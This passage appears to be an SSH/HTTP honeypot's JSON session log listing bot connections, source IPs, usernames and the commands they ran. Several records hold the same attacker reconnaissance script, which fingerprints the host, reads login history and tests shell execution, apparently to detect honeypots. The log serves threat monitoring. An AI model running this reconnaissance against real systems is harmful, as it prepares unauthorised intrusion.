  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:10:45.529027+00:00",
  "ended_at": "2026-08-27T10:10:45.637592+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8efbfa64-f026-4f15-9899-491c3fca045f",
  "name": "stoic-quiet-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 34582,
  "username": "solana",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:09:54.625665+00:00",
  "ended_at": "2026-08-27T10:09:54.731485+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "73ffda85-1b89-4d61-acb6-e83670fc4d4d",
  "name": "vaulted-nameless-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 53664,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:09:03.155140+00:00",
  "ended_at": "2026-08-27T10:09:03.263491+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f31b9cef-551d-4a78-be6a-2876fed70a0d",
  "name": "watchful-frugal-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 50616,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:07:16.470119+00:00",
  "ended_at": "2026-08-27T10:07:16.582248+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "1f866733-8134-4f5d-89d7-c5ff2479ad60",
  "name": "supple-dapper-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 47540,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:05:24.365572+00:00",
  "ended_at": "2026-08-27T10:05:24.594218+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9d17ca4a-334b-427e-82f0-f3ed671691b3",
  "name": "rugged-courtly-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 56718,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:04:47.310192+00:00",
  "ended_at": "2026-08-27T10:04:48.994112+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0dd9c107-d87f-495c-8021-13ec72c57990",
  "name": "indigo-brave-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 44526,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:03:32.849172+00:00",
  "ended_at": "2026-08-27T10:03:32.970206+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "fd5635c5-c540-4a60-b38e-40706490a8bf",
  "name": "sooty-lanky-jerboa",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.133.187.11",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:03:22.635263+00:00",
  "ended_at": "2026-08-27T10:19:11.151858+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2380228e-194b-49d2-8869-c0662ae0cc4b",
  "name": "electric-freckled-gull",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "52.203.79.108",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:03:00.801085+00:00",
  "ended_at": "2026-08-27T10:18:11.149385+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9be5dab5-e932-4011-ab66-c173c0e0f1f0",
  "name": "rugged-coastal-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 26436,
  "username": "tory",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:02:58.299058+00:00",
  "ended_at": "2026-08-27T10:02:58.823532+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74be07b2-6907-465c-ba78-ce5a12ad16af",
  "name": "pleasant-genial-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 41504,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 